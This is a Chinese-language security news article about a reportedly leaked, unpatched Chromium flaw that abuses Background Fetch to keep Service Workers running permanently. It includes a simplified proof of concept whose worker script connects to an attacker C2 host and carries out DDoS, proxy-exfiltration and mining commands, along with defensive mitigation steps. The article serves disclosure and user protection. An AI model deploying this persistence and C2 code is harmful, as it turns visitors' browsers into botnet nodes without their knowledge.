29个月未修!Google意外泄露Chromium永久驻留漏洞:浏览器秒变JS僵尸网络

发布时间:2026/5/23 4:09:11

29个月未修!Google意外泄露Chromium永久驻留漏洞:浏览器秒变JS僵尸网络 一、事件爆发Google亲手引爆的浏览器级核弹2026年5月20日互联网安全界发生了一起史无前例的安全事故Google在其公开的Chromium Bug跟踪器上意外泄露了一个存在29个月之久的未修复高危漏洞的完整技术细节和PoC利用代码。尽管Google在发现失误后紧急删除了相关内容但此时漏洞信息已经被多个安全归档网站和研究人员抓取并迅速传播开来。这起事故的严重性远超以往任何一次浏览器漏洞泄露事件。与传统的点击即中招漏洞不同这个被安全研究员Lyra Rebane在2022年12月首次报告的漏洞能够让恶意网站在用户访问后注册一个永不终止的Service Worker后台脚本。这个脚本不仅会在用户关闭浏览器标签页后继续运行甚至在关闭整个浏览器、重启电脑或手机后仍然能够自动复活并继续执行恶意代码。换句话说只要你访问过一个被植入了攻击代码的网页你的浏览器就会永久变成攻击者控制的JS僵尸在你完全不知情的情况下静默执行各种恶意任务。1.1 漏洞时间线从S1严重到意外公开时间事件2022年12月安全研究员Lyra Rebane向Google报告该漏洞被标记为S1最高严重级别2024年10月26日Google内部工程师在Bug跟踪器中备注“这是一个严重漏洞需要推进修复”2026年2月10日漏洞被短暂标记为已修复但几分钟后因严重的兼容性问题被重新打开2026年5月20日Google的自动披露系统错误地将该漏洞标记为已修复并超过14周保密期导致完整漏洞细节和PoC代码被公开2026年5月21日全球多家安全厂商发布紧急预警确认漏洞影响所有基于Chromium内核的浏览器1.2 影响范围几乎覆盖全球所有主流浏览器这个漏洞存在于Chromium内核的核心代码中因此所有基于Chromium开发的浏览器都受到影响包括但不限于Google ChromeWindows、macOS、Linux、Android、iOS全平台Microsoft Edge全平台Brave、Opera、Vivaldi、Arc等第三方浏览器国内几乎所有主流浏览器360安全浏览器、QQ浏览器、搜狗浏览器等安卓系统上的所有Chromium套壳浏览器据StatCounter统计截至2026年5月Chromium内核浏览器占据了全球浏览器市场85%以上的份额这意味着全球超过30亿台设备都面临着被这个漏洞攻击的风险。二、技术深度解析为什么这个漏洞如此可怕要理解这个漏洞的可怕之处我们首先需要了解两个关键的Web技术Service Worker和Background Fetch API。2.1 技术基础Service Worker与Background Fetch APIService Worker是一种运行在浏览器后台的独立脚本它独立于网页标签页能够在网页关闭后继续运行。它最初被设计用于实现离线缓存、后台同步和推送通知等功能是现代PWA渐进式Web应用的核心技术之一。Background Fetch API则是在Service Worker基础上扩展的一个API专门用于处理大型文件的后台下载任务。它允许网页在用户导航离开甚至关闭浏览器后继续在后台下载文件并在下载完成后通知用户。这两个技术的设计初衷都是为了提升用户体验但在Chromium的实现中却出现了一个致命的安全漏洞。2.2 漏洞原理突破生命周期限制的不死脚本正常情况下Service Worker有严格的生命周期管理当没有活跃的客户端连接时浏览器会在30秒内终止Service Worker以节省资源即使有持续的活动浏览器也会在5分钟后强制终止它。然而这个漏洞允许攻击者通过滥用Background Fetch API完全绕过这些生命周期限制创建一个永远不会被浏览器终止的Service Worker。漏洞攻击流程图A[用户访问恶意网页] -- B[恶意网页调用Background Fetch API] B -- C[注册一个特殊的Service Worker] C -- D[创建一个永不完成的后台下载任务] D -- E[Service Worker被绑定到这个下载任务上] E -- F[浏览器认为下载任务仍在进行中] F -- G[永远不会终止这个Service Worker] G -- H[关闭浏览器标签页 → Worker继续运行] G -- I[关闭整个浏览器 → Worker被挂起] I -- J[重启浏览器 → Worker自动复活] J -- K[系统重启 → 浏览器启动时Worker自动运行] K -- L[浏览器永久成为受控节点]漏洞核心代码分析根据泄露的PoC代码攻击的核心在于创建一个特殊的Background Fetch任务这个任务会一直处于进行中状态从而阻止浏览器终止关联的Service Worker。以下是简化后的攻击代码示例1. 恶意网页主页面index.html!DOCTYPEhtmlhtmlheadtitle正常网页/title/headbodyh1这是一个看起来完全正常的网页/h1script// 注册恶意Service Workerif(serviceWorkerinnavigatorBackgroundFetchManagerinself){navigator.serviceWorker.register(/sw.js).then(function(registration){console.log(ServiceWorker注册成功);// 发起一个特殊的Background Fetch请求registration.backgroundFetch.fetch(eternal-download,// 任务ID[/never-ending-file],// 一个永远不会返回的URL{title:正在下载文件...,icons:[{sizes:192x192,src:/icon.png}]}).then(function(fetch){console.log(Background Fetch任务已启动);});});}/script/body/html2. 恶意Service Worker脚本sw.jsconstC2_SERVERhttps://attacker-c2.com/command;// 安装阶段强制跳过等待立即激活self.addEventListener(install,(event){self.skipWaiting();console.log(恶意Service Worker已安装);});// 激活阶段接管所有客户端self.addEventListener(activate,(event){event.waitUntil(self.clients.claim());console.log(恶意Service Worker已激活);// 启动与C2服务器的通信startC2Communication();});// 关键监听Background Fetch事件self.addEventListener(backgroundfetchsuccess,(event){// 即使下载成功我们也不做任何处理// 浏览器会认为任务已经完成但我们的Worker已经存活了console.log(Background Fetch任务完成);});self.addEventListener(backgroundfetchfail,(event){// 即使下载失败我们也不做任何处理// 关键在于浏览器不会因为下载失败而终止我们的Workerconsole.log(Background Fetch任务失败);});// 与C2服务器建立持久连接functionstartC2Communication(){// 使用WebSocket或长轮询与C2服务器通信constwsnewWebSocket(C2_SERVER);ws.onopen(){console.log(已连接到C2服务器);ws.send(JSON.stringify({type:register,userAgent:navigator.userAgent,platform:navigator.platform}));};ws.onmessage(event){constcommandJSON.parse(event.data);executeCommand(command);};ws.onclose(){// 如果连接断开10秒后自动重连setTimeout(startC2Communication,10000);};}// 执行攻击者下发的命令functionexecuteCommand(command){switch(command.type){caseddos:// 发起DDoS攻击for(leti0;icommand.count;i){fetch(command.target);}break;caseproxy:// 作为代理访问目标网站fetch(command.url).then(responseresponse.text()).then(text{// 将结果返回给C2服务器fetch(C2_SERVER,{method:POST,body:JSON.stringify({type:proxy-result,result:text})});});break;casemine:// 静默挖矿简化版startMining(command.pool,command.address);break;casescreenshot:// 尝试获取屏幕截图需要额外权限// ...break;}}2.3 为什么这个漏洞难以被发现和修复这个漏洞之所以存在了29个月之久并且至今仍未被修复主要有以下几个原因设计与实现的脱节Background Fetch API的设计规范中并没有明确规定当下载任务失败或超时时应该如何处理关联的Service Worker。Chromium的实现中错误地认为只要Background Fetch任务没有被显式取消就应该保持Service Worker的运行。兼容性问题当Google在2026年2月尝试修复这个漏洞时发现修复方案会导致大量使用Background Fetch API的合法PWA应用无法正常工作。为了避免破坏现有生态Google不得不暂时回滚了修复补丁。攻击的隐蔽性这种攻击方式完全在浏览器的沙箱环境内运行不会修改系统文件也不会留下任何传统恶意软件的痕迹。普通用户根本无法察觉自己的浏览器已经被控制。三、攻击场景你的浏览器能被用来做什么一旦攻击者利用这个漏洞控制了你的浏览器他们就可以利用浏览器的所有能力来执行各种恶意任务。以下是一些最可能被滥用的攻击场景3.1 大规模DDoS攻击这是最直接也是最危险的攻击场景。攻击者可以利用成千上万被控制的浏览器节点同时向目标网站或服务器发起HTTP请求形成强大的分布式拒绝服务攻击。与传统的僵尸网络相比这种基于浏览器的DDoS攻击具有以下优势规模更大全球有超过30亿台设备使用Chromium内核浏览器成本更低不需要购买或入侵服务器只需要诱导用户访问恶意网页更难防御攻击流量来自真实的用户IP地址很难与正常流量区分开持续时间更长僵尸节点可以永久存活直到用户手动清理3.2 匿名流量代理攻击者可以将被控制的浏览器作为代理节点通过它们来访问互联网。这使得攻击者可以隐藏自己的真实IP地址绕过地理限制和内容过滤访问暗网和其他受限网站进行网络钓鱼和其他恶意活动所有这些活动的溯源都会指向被控制的用户而不是真正的攻击者。3.3 静默加密货币挖矿攻击者可以在被控制的浏览器中运行JavaScript挖矿脚本利用用户的CPU和GPU资源来挖掘门罗币等加密货币。这种挖矿方式具有以下特点完全静默没有任何弹窗或提示资源占用可控攻击者可以调整挖矿强度避免引起用户注意持续时间长只要浏览器在运行挖矿就会持续进行难以检测传统的杀毒软件很难检测到浏览器内的挖矿活动3.4 用户行为监控与数据窃取虽然这个漏洞不能直接获取用户的密码、文件或其他敏感系统资源但攻击者仍然可以通过Service Worker获取大量用户信息完整的浏览历史记录用户访问过的网站的Cookie在同源策略限制下用户在网页上的输入内容通过拦截表单提交用户的地理位置信息如果用户授权过用户的设备信息和网络环境这些信息可以被用于精准广告投放、身份盗窃或进一步的针对性攻击。四、临时防护方案在官方补丁发布前如何自保截至2026年5月22日Google仍未发布针对这个漏洞的官方安全补丁。在补丁发布前用户可以采取以下临时防护措施来保护自己4.1 禁用Background Fetch API最有效这是目前最有效的防护方法可以从根本上阻止漏洞被利用。Chrome/Edge浏览器操作步骤在地址栏输入chrome://flags/#background-fetchEdge浏览器输入edge://flags/#background-fetch将Background Fetch选项从Default改为**“Disabled”**点击页面底部的Relaunch按钮重启浏览器注意禁用Background Fetch API可能会影响一些使用该功能的合法PWA应用的后台下载功能但不会影响浏览器的基本使用。4.2 定期清理所有Service Worker即使你已经禁用了Background Fetch API也建议定期清理浏览器中已经注册的Service Worker以清除可能已经存在的恶意脚本。操作步骤在地址栏输入chrome://serviceworker-internals/Edge浏览器输入edge://serviceworker-internals/点击页面上的Unregister按钮注销所有已注册的Service Worker可选点击Stop按钮停止所有正在运行的Service Worker建议每周至少执行一次这个操作或者在访问过可疑网站后立即执行。4.3 其他辅助防护措施避免访问不明网站尤其是那些弹窗多、诱导点击、提供非法内容的网站使用广告拦截器广告网络是恶意代码传播的主要渠道之一保持浏览器更新虽然目前还没有针对这个漏洞的补丁但及时更新浏览器可以防范其他已知漏洞使用非Chromium内核浏览器如Firefox、Safari等这些浏览器不受这个漏洞影响五、事件反思与行业前瞻这次Google意外泄露未修复漏洞的事件不仅暴露了Chromium项目在安全管理上的严重问题也给整个Web安全行业敲响了警钟。5.1 Google安全管理体系的漏洞这个漏洞存在了29个月之久并且被标记为S1最高严重级别但却迟迟没有得到修复。这反映出Google在漏洞管理方面存在以下问题优先级排序不当Google可能将更多的资源投入到了新功能的开发上而忽视了这个严重的安全漏洞兼容性优先于安全为了不破坏现有生态Google选择了推迟修复漏洞将用户的安全置于次要位置自动披露系统存在缺陷Google的自动披露系统没有正确验证漏洞是否真的已经被修复导致了这次灾难性的泄露5.2 Web平台安全的结构性挑战这次事件也暴露了现代Web平台在安全设计上的结构性挑战功能与安全的矛盾为了提升用户体验浏览器不断增加新的功能但每一个新功能都可能带来新的安全风险沙箱模型的局限性浏览器的沙箱模型虽然能够防止恶意代码访问系统资源但无法防止恶意代码在沙箱内运行持久化攻击的新趋势攻击者越来越倾向于利用浏览器本身的功能来实现持久化而不是传统的植入恶意软件的方式5.3 未来展望浏览器安全的发展方向随着这次事件的发生我们可以预见浏览器安全将会向以下几个方向发展更严格的生命周期管理浏览器厂商将会加强对Service Worker和其他后台脚本的生命周期管理防止它们被滥用更透明的权限控制用户将会获得更细粒度的权限控制能够明确知道哪些网站在后台运行脚本更智能的异常检测浏览器将会内置异常检测机制能够自动识别和阻止可疑的后台活动更快速的漏洞响应浏览器厂商将会建立更快速的漏洞响应机制确保高危漏洞能够在最短时间内得到修复六、写在最后这次Google意外泄露Chromium永久驻留漏洞的事件是Web安全史上的一个重要里程碑。它向我们展示了即使是最基础、最广泛使用的软件也可能存在着致命的安全漏洞。在官方补丁发布前强烈建议所有使用Chromium内核浏览器的用户立即禁用Background Fetch API并定期清理Service Worker。这虽然会带来一些不便但却是保护自己免受攻击的最有效方法。同时我们也希望Google能够从这次事件中吸取教训加强安全管理优先考虑用户的安全而不是功能和兼容性。毕竟对于浏览器来说安全才是最基本的功能。更新提示本文将持续跟踪这个漏洞的最新进展一旦官方补丁发布我们将第一时间更新相关信息。

相关新闻